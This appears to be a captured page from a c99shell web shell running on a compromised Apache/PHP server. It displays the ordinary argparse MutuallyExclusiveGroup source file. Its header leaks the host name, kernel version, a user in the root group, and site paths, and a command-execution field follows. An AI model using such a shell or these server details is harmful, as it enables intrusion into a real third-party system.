Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/inventory.picotech.app/public_html/node_modules/argparse/lib/argument/ drwxr-xr-x |
Viewing file: Select action/file-type: /** internal * class MutuallyExclusiveGroup * * Group arguments. * By default, ArgumentParser groups command-line arguments * into “positional arguments” and “optional arguments” * when displaying help messages. When there is a better * conceptual grouping of arguments than this default one, * appropriate groups can be created using the addArgumentGroup() method * * This class inherited from [[ArgumentContainer]] **/ 'use strict'; var util = require('util'); var ArgumentGroup = require('./group'); /** * new MutuallyExclusiveGroup(container, options) * - container (object): main container * - options (object): options.required -> true/false * * `required` could be an argument itself, but making it a property of * the options argument is more consistent with the JS adaptation of the Python) **/ var MutuallyExclusiveGroup = module.exports = function MutuallyExclusiveGroup(container, options) { var required; options = options || {}; required = options.required || false; ArgumentGroup.call(this, container); this.required = required; }; util.inherits(MutuallyExclusiveGroup, ArgumentGroup); MutuallyExclusiveGroup.prototype._addAction = function (action) { var msg; if (action.required) { msg = 'mutually exclusive arguments must be optional'; throw new Error(msg); } action = this._container._addAction(action); this._groupActions.push(action); return action; }; MutuallyExclusiveGroup.prototype._removeAction = function (action) { this._container._removeAction(action); this._groupActions.remove(action); }; |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]-- |